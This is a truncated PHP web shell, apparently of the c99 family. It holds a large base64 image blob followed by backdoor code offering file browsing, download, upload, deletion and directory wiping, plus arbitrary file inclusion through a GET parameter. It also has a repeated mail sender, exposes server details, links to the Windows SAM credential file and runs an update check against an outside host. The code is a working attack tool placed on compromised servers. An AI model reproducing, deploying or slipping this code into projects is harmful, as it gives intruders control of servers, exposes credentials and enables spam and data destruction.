+IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRlc2MAAAAAAAAA +LFJlZmVyZW5jZSBWaWV3aW5nIENvbmRpdGlvbiBpbiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAACxS +ZWZlcmVuY2UgVmlld2luZyBDb25kaXRpb24gaW4gSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAB2aWV3AAAAAAATpP4AFF8uABDPFAAD7cwABBMLAANcngAAAAFYWVogAAAAAABM +CVYAUAAAAFcf521lYXMAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAKPAAAAAnNpZyAAAAAAQ1JU +IGN1cnYAAAAAAAAEAAAAAAUACgAPABQAGQAeACMAKAAtADIANwA7AEAARQBKAE8AVABZAF4AYwBo +AG0AcgB3AHwAgQCGAIsAkACVAJoAnwCkAKkArgCyALcAvADBAMYAywDQANUA2wDgAOUA6wDwAPYA ++wEBAQcBDQETARkBHwElASsBMgE4AT4BRQFMAVIBWQFgAWcBbgF1AXwBgwGLAZIBmgGhAakBsQG5 +AcEByQHRAdkB4QHpAfIB+gIDAgwCFAIdAiYCLwI4AkECSwJUAl0CZwJxAnoChAKOApgCogKsArYC +wQLLAtUC4ALrAvUDAAMLAxYDIQMtAzgDQwNPA1oDZgNyA34DigOWA6IDrgO6A8cD0wPgA+wD+QQG +BBMEIAQtBDsESARVBGMEcQR+BIwEmgSoBLYExATTBOEE8AT+BQ0FHAUrBToFSQVYBWcFdwWGBZYF +pgW1BcUF1QXlBfYGBgYWBicGNwZIBlkGagZ7BowGnQavBsAG0QbjBvUHBwcZBysHPQdPB2EHdAeG +B5kHrAe/B9IH5Qf4CAsIHwgyCEYIWghuCIIIlgiqCL4I0gjnCPsJEAklCToJTwlkCXkJjwmkCboJ +zwnlCfsKEQonCj0KVApqCoEKmAquCsUK3ArzCwsLIgs5C1ELaQuAC5gLsAvIC+EL+QwSDCoMQwxc +DHUMjgynDMAM2QzzDQ0NJg1ADVoNdA2ODakNww3eDfgOEw4uDkkOZA5/DpsOtg7SDu4PCQ8lD0EP +Xg96D5YPsw/PD+wQCRAmEEMQYRB+EJsQuRDXEPURExExEU8RbRGMEaoRyRHoEgcSJhJFEmQShBKj +EsMS4xMDEyMTQxNjE4MTpBPFE+UUBhQnFEkUahSLFK0UzhTwFRIVNBVWFXgVmxW9FeAWAxYmFkkW +bBaPFrIW1hb6Fx0XQRdlF4kXrhfSF/cYGxhAGGUYihivGNUY+hkgGUUZaxmRGbcZ3RoEGioaURp3 +Gp4axRrsGxQbOxtjG4obshvaHAIcKhxSHHscoxzMHPUdHh1HHXAdmR3DHeweFh5AHmoelB6+Hukf +Ex8+H2kflB+/H+ogFSBBIGwgmCDEIPAhHCFIIXUhoSHOIfsiJyJVIoIiryLdIwojOCNmI5QjwiPw +JB8kTSR8JKsk2iUJJTglaCWXJccl9yYnJlcmhya3JugnGCdJJ3onqyfcKA0oPyhxKKIo1CkGKTgp +aymdKdAqAio1KmgqmyrPKwIrNitpK50r0SwFLDksbiyiLNctDC1BLXYtqy3hLhYuTC6CLrcu7i8k +L1ovkS/HL/4wNTBsMKQw2zESMUoxgjG6MfIyKjJjMpsy1DMNM0YzfzO4M/E0KzRlNJ402DUTNU01 +hzXCNf02NzZyNq426TckN2A3nDfXOBQ4UDiMOMg5BTlCOX85vDn5OjY6dDqyOu87LTtrO6o76Dwn +PGU8pDzjPSI9YT2hPeA+ID5gPqA+4D8hP2E/oj/iQCNAZECmQOdBKUFqQaxB7kIwQnJCtUL3QzpD +fUPARANER0SKRM5FEkVVRZpF3kYiRmdGq0bwRzVHe0fASAVIS0iRSNdJHUljSalJ8Eo3Sn1KxEsM +S1NLmkviTCpMcky6TQJNSk2TTdxOJU5uTrdPAE9JT5NP3VAnUHFQu1EGUVBRm1HmUjFSfFLHUxNT +X1OqU/ZUQlSPVNtVKFV1VcJWD1ZcVqlW91dEV5JX4FgvWH1Yy1kaWWlZuFoHWlZaplr1W0VblVvl +XDVchlzWXSddeF3JXhpebF69Xw9fYV+zYAVgV2CqYPxhT2GiYfViSWKcYvBjQ2OXY+tkQGSUZOll +PWWSZedmPWaSZuhnPWeTZ+loP2iWaOxpQ2maafFqSGqfavdrT2una/9sV2yvbQhtYG25bhJua27E +bx5veG/RcCtwhnDgcTpxlXHwcktypnMBc11zuHQUdHB0zHUodYV14XY+dpt2+HdWd7N4EXhueMx5 +KnmJeed6RnqlewR7Y3vCfCF8gXzhfUF9oX4BfmJ+wn8jf4R/5YBHgKiBCoFrgc2CMIKSgvSDV4O6 +hB2EgITjhUeFq4YOhnKG14c7h5+IBIhpiM6JM4mZif6KZIrKizCLlov8jGOMyo0xjZiN/45mjs6P +No+ekAaQbpDWkT+RqJIRknqS45NNk7aUIJSKlPSVX5XJljSWn5cKl3WX4JhMmLiZJJmQmfyaaJrV +m0Kbr5wcnImc951kndKeQJ6unx2fi5/6oGmg2KFHobaiJqKWowajdqPmpFakx6U4pammGqaLpv2n +bqfgqFKoxKk3qamqHKqPqwKrdavprFys0K1ErbiuLa6hrxavi7AAsHWw6rFgsdayS7LCszizrrQl +tJy1E7WKtgG2ebbwt2i34LhZuNG5SrnCuju6tbsuu6e8IbybvRW9j74KvoS+/796v/XAcMDswWfB +48JfwtvDWMPUxFHEzsVLxcjGRsbDx0HHv8g9yLzJOsm5yjjKt8s2y7bMNcy1zTXNtc42zrbPN8+4 +0DnQutE80b7SP9LB00TTxtRJ1MvVTtXR1lXW2Ndc1+DYZNjo2WzZ8dp22vvbgNwF3IrdEN2W3hze +ot8p36/gNuC94UThzOJT4tvjY+Pr5HPk/OWE5g3mlucf56noMui86Ubp0Opb6uXrcOv77IbtEe2c +7ijutO9A78zwWPDl8XLx//KM8xnzp/Q09ML1UPXe9m32+/eK+Bn4qPk4+cf6V/rn+3f8B/yY/Sn9 +uv5L/tz/bf///+4AJkFkb2JlAGTAAAAAAQMAFQQDBgoNAAARtgAAF0YAABuaAAAgJv/bAIQAAgIC +AgICAgICAgMCAgIDBAMCAgMEBQQEBAQEBQYFBQUFBQUGBgcHCAcHBgkJCgoJCQwMDAwMDAwMDAwM +DAwMDAEDAwMFBAUJBgYJDQsJCw0PDg4ODg8PDAwMDAwPDwwMDAwMDA8MDAwMDAwMDAwMDAwMDAwM +DAwMDAwMDAwMDAwM/8IAEQgAHgK8AwERAAIRAQMRAf/EALsAAQACAwEBAAAAAAAAAAAAAAADBQIE +BgEHAQEAAAAAAAAAAAAAAAAAAAAAEAACAgMBAQADAQEBAAAAAAAAEwQFAiIDARQREhWAIyQRAAAE +BQIDBwMBBwUAAAAAAAABAgMx0ZMENBEhEhMzQVFhkZLS4nGBIuEQQKGxYmMUMkKiIyQSAQAAAAAA +AAAAAAAAAAAAAIATAAIBAgYDAAIDAQEAAAAAAAERACFRMUFhodHxEHGR8IFQgMGxMP/aAAwDAQAC +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 +BfgWUacgTAkoAgLreSxYtgGTAgEigAAvbnQJqy1XRBCSCWEVMchsge1InEoImkEAkMAH/sdKetgQ +kASVTK8FiNrM/AhGUmWFC84tGEEIJ5RFIeaZNEkqJGAtGH9aGVEkQK9iYINvSQJEWxHx2GpQBhIZ +Bwa5prvsetQWpqEgLI4+OzcwGApE5roM4Eu/YDCCBAMieFfBZSsOoDACQEHAbkYf0IZUWIX6nQJO +w62AFEGLNU+OxSbDMMAANgOKD/1AqpAOSsWwMaELlEEQCYKpJE9qwuJkvAWgb+ClcKADkz4Up5Qz +TxEJQAcyJrvsqBdIAhhBpJzmdAkR8IeVKsg9DCCV0agEguPOgXgsWiK8GNikQ4KIUpBfAIBQg4hg +UfXgsdzaMhkEYAkEs+4YONNACBEVI48oB1UQAmcCjixmu+zXfZrvs132a77Nd9mu+zXfZrvs132a +77Nd9mu+zXfZrvs132a77M4vHcD0bsgCNLS0tLS0tLS0tLS0tLS0tLS0tIQCaCCAiIIRIYxgGAAE +DASu6kMCYrUEwf3KKyAa4AFNgEfJ07XjXnEUNgCkGnjzgoF87YASAqpafa6qSEAUEPAOQwIwUTBq +M4GXOYNycAq0VeCVEHAwaqASwJA3vKOkSCoKklVYxMho3wRgMTBArTKiAKJDmW1ZMYNg04tgNRQA +GRfqJaO7aLDIEaRCItkwsQioJeCRUlgMCuoUccoQc7MHmIirHwSa3ykQMExEkVRUH0VJkoAfoePN +LB4gFFJyQcCcfBIXbhwohAYUGGRgsMQ9QNhxcYrSACA4olyporJJQTAYmCrSWztEgkcivHkkjWVT +KECVLCNI5BU2AAEisiJBB8eTTWGAFQEBAOhizrgQGlgEml44rQwwYrgUMIDTlBFQzCyW1RRpsEBM +llACB+vB1rBwQDohIMs84NBEfCBQcNho4ThDyEQUlvwUCNLS0tLS0tLS0tLS0tLS0tLS32X3K0CG +YwXud1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1 +yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3 +XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yn +dcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcpi/Yhm9z//2gAI +AQIDAT8Q/rB//9oACAEDAwE/EP6wf//Z"); + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + echo base64_decode($images[$_GET['pic']]); +} + +$ps=str_replace("\\","/",getenv('DOCUMENT_ROOT')); +//file_array +$file_tps=array( +"img"=>array("jpg","bmp","gif","ico"), +"act" => array("edit","copy","download","delete"), +"zip" => array("gzip","zip","rar") +); +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + @ob_clean(); +//end +if (isset($_GET['img'])) { + for ($i=0;$i<4;$i++) { + if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) { + header("Content-type: ".$inf["mime"]); + readfile(urldecode($filename)); + exit; + + } + } +} + + +if (!function_exists(download)) { + function download($file) { + header('Pragma: anytextexeptno-cache', true); + header('Content-type: application/force-download'); + header('Content-Transfer-Encoding: Binary'); + header('Content-length: '.filesize($file)); + header('Content-disposition: attachment; + filename='.basename($file)); + readfile($file); + exit; + } +} +if (isset($_GET['download'])) { +download($filename); +exit; +} + +if (isset($_GET['run'])) { +echo urldecode($_GET['file']); +include(urldecode($_GET['file'])); +exit; +} + + +function check_update() +{ +$cur_ver=5; //very important value for updates!Please dont change! +$newer=$cur_ver+1; +$url="http://dc3.dl.am/"; +$file=@fopen($url."".$newer.".txt","r") or die ("No updates aviable!"); +$text=fread($file,1000000); +if (preg_match("/ver=".$newer."/i", $text)) { + echo "[+]Update Aviable!...Please download new version from:"; +echo "<br><a href=".$url.$newer.".txt>Version ".$newer."</a>"; +} } + +function get_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + +echo $type.join("",$owner).join("",$group).join("",$world); +} + + + +if (!function_exists(get_space)) { + function get_space($dir) { +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_f = @round(48.7/($all/$free),2); +echo "".$used_f.""; + } + } +$sys=strtolower(substr(PHP_OS,0,3)); +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead> + <tr><td>"; +echo "<img src=".$surl."?&".$word."&dir&pic=o.b height= width=>"; +echo getenv('SERVER_SOFTWARE'); +echo "<br>"; +echo getenv('SERVER_NAME'); +echo ":"; +echo getenv('SERVER_PORT'); +echo "<br>"; +echo getenv('SERVER_ADMIN'); + +if ($sys=="win") { +echo "Windows"; +echo "<br>"; +echo "".getenv('COMPUTERNAME').""; +echo "<br>"; +echo "Os:".getenv('OS').""; +} else { +echo "<br>Linux"; +} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ +$safe=1; +echo "<br><font color=red>ON (secure)</font>"; + } else { +$save=2; +if ($sys=="win") { +echo "<br><font color=green><a href=".$surl."?&".$word."&file_browser&file=C:/Windows/repair/sam&download>Off (not secure)</a></font>"; +} +} +if (isset($_GET['file'])) { +echo "<br>Access:"; +if (@is_readable($j_f)) { + echo "R"; +} +if (@is_executable($j_f)) { + echo "E"; +} +if (@is_writable($j_d)) { +echo "W"; +} +echo "<br>Current_file:"; +echo "<a href=".$surl."?&".$word."&file_browser&file="; +echo urlencode($p) ; +echo ">".$p."</a>"; + } +echo "<br>"; +echo "Start_dir:"; +echo "&ensp;&ensp;&ensp;"; +echo "<a href=".$surl."?&".$word."&file_browser&file="; +echo urlencode($ps); +echo ">".$ps."</a>"; +echo "<br>"; +if (isset($_GET['file'])) { +echo "Free Space:"; +get_space(urldecode($_GET['file'])); + +echo "gb"; +} +echo "</td>"; +?> + +<style type="text/css"> +body { background-color:#8B8989;font-family:trebuchet Ms; color:black } + +textarea { +border-top-width: 1px; +font-weight: bold; +border-left-width: 1px; +font-size: 10px; +border-left-color: #8B8989; +background:#8B8989; +border-bottom-width: 1px; +border-bottom-color:#8B8989; +color: black; +border-top-color:#8B8989; +font-family: trebuchet Ms; +border-right-width: 1px; +border-right-color: #8B8989; +} +input { +border-top-width: 1px; +font-weight: bold; +border-left-width: 1px; +font-size: 10px; +border-left-color: #8B8989; +background: #8B8989; +border-bottom-width: 1px; +border-bottom-color: #8B8989; +color: black; +border-top-color:#8B8989; +font-family: trebuchet Ms; +border-right-width: 1px; +border-right-color:#8B8989; +} +td { + font-size: 10px; + font-family: verdana; +} +th { + font-size: 10px; + font-family: verdana; +} +a:link { + text-decoration: none; +} +a:visited { + text-decoration: none; + color:blue; +} +a:active { + text-decoration: none; +} +a:hover { + color: #00ff00; + text-decoration: none; +} +back { +background-color:grey; +} + ul#Navigation { +position:absolute; + width: 10em; + margin: 0; padding: 0.8em; + border: 1px solid #8B8989; + background-color: #8B8989; + } + * html ul#Navigation { /* Korrekturen fuer IE 5.x */ + width: 11.6em; + w\idth: 10em; + padding-left: 0; + padd\ing-left: 0.8em; + } + ul#Navigation li { + list-style: none; + margin: 0.4em; padding: 0; + } + + ul#Navigation a { + display:block; + padding: 0.2em; + text-decoration: none; font-weight: bold; + border: 1px solid black; + border-left-color: black; border-top-color: black; + color: black; background-color: #8B8989; + } + * html ul#Navigation a { /* Breitenangaben nur fuer IE */ + width: 100%; + w\idth: 8.8em; + } + ul#Navigation a:hover { + border-color: white; + border-left-color: black; border-top-color: black; + color: white; background-color: #8B8989; + } +</style> + +<?php +if (!function_exists(rename_all)) { + function rename_all($dir,$prefix,$name,$del) { + $r_dir=opendir($dir); + while (false !== ($file_r = readdir($r_dir))) { + if (@filetype($dir."/".$file_r)=="file") { + $i++; + @copy($dir."/".$file_r,$dir."/".$i.".".$prefix.$name) or die ("[-]Error renaming file : ".$file_r.""); + if ($del=="yes") { + @unlink($dir."/".$file_r) or die ("[-]Error deleting file(s)!"); + } + } + + } + echo "Successfully renamed file(s)!"; + } + } + + + +if (!function_exists(get_perms)) { + function get_perms($file) { + if (@file_exists($file)) { + if (@is_readable($file)) { + echo "<b>R</b>"; + } + if (@is_executable($file)) { + echo "<b>E</b>"; + } + if (@is_writable($file)) { + echo "<b>W</b>"; + } + } else { + echo "[-]Error"; + } + } + } + +if (!function_exists(search_file)) { + function search_file($search,$dir) { + global $word; + global $surl; + $d_s=opendir($dir); + while (false !== ($file_s = readdir($d_s))) { + if (preg_match("/".$search."/i",$file_s)) { + echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($dir)."/".urlencode($file_s).">".$file_s."</a><br>"; + } + } + } + } + + +if (!function_exists(copy_file)) { + function copy_file($file,$to) { + if (@file_exists($file)) { + @copy($file,$to) or die ("[-]Error copying file!"); + echo "Successfully copied file!"; + } else { + echo "[-]File Doesnt exist!"; + } + } + } + +if (!function_exists(send_mail)) { + function send_mail($from,$to,$text,$subject,$times) { + while ($i<$times) { + $i++; + $header = "From: $from\r\n"; + @mail($to, $subject, $text, $header) or die ("[-]Error sending mail(s)!"); + + } + echo "Successfully sent mail(s) to ".$to."!"; + } + } + + +if (!function_exists(read_file)) { + function read_file($file) { +$file=@fopen($file,"r"); +echo fread($file,10000); +fclose($file); + } + } + +if (!function_exists(write_file)) { + function write_file($file,$text) { + if (@is_writable($file)) { + if (@file_exists($file)) { + $file_w=@fopen(urldecode($file),"w") or die ("[-]Error"); + if (fwrite($file_w,$text)) { + echo "Successfully written to file(s)!"; + } + } + } + else { + echo "[-]Error"; + exit; + } + } + } + + + +if (!function_exists(count_all)) { + function count_all($dir) { + $c_d=opendir($dir); + while (false !== ($file_c = readdir($c_d))) { + if (@filetype($dir."/".$file_c)=="file") { + $file_c_s++; + } + else + { + $dir_c++; + } + } + echo "Directories:"; + echo $dir_c++; + echo "||"; + echo "Files:"; + echo $file_c_s; + } +} + +if (!function_exists(check_access)) { + function check_access($file) { + if (@is_readable($file)) { + echo "R"; + } + if (@is_executable($file)) { + echo "E"; + } + if (@is_writable($file)) { + echo "W"; + } + } + } + +if (!function_exists(clear_dir)) { + function clear_dir($dir) { +$o_d=opendir($dir); + while (false !== ($file = readdir($o_d))) { + if (@filetype(urldecode($_GET['file'])."/".$file)=="file") { +unlink(urldecode($dir)."/".$file) or die ("[-]Error @ file:".$file.""); + } + } +echo "Successfully cleared directory!"; + } + } + +?> + + +<?php +// real code start ! + + +if (isset($_GET['update'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; +check_update(); +exit; +} +if (isset($_GET['rmdir'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + + <thead> + <tr><td>"; +@rmdir($_GET['file']) or die ("[-]Error deleting dir!"); +echo "Successfully deleted dir(s)!"; +exit; +} + + +if (isset($_GET['upload'])) { +$uploaddir = urldecode($_POST['file']); + +print "<pre>"; +if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir ."/". $_FILES['userfile']['name'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + print "Successfully uploadet file(s)!"; +} else { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + print "[-]Error"; +} +exit; +} + +if (isset($_GET['search'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + + <tr><td>"; +search_file($_POST['search'],urldecode($_POST['dir'])); +exit; +} + + + + +if (isset($_GET['getenv'])) { +echo "<center><table border=\"1\" width=600 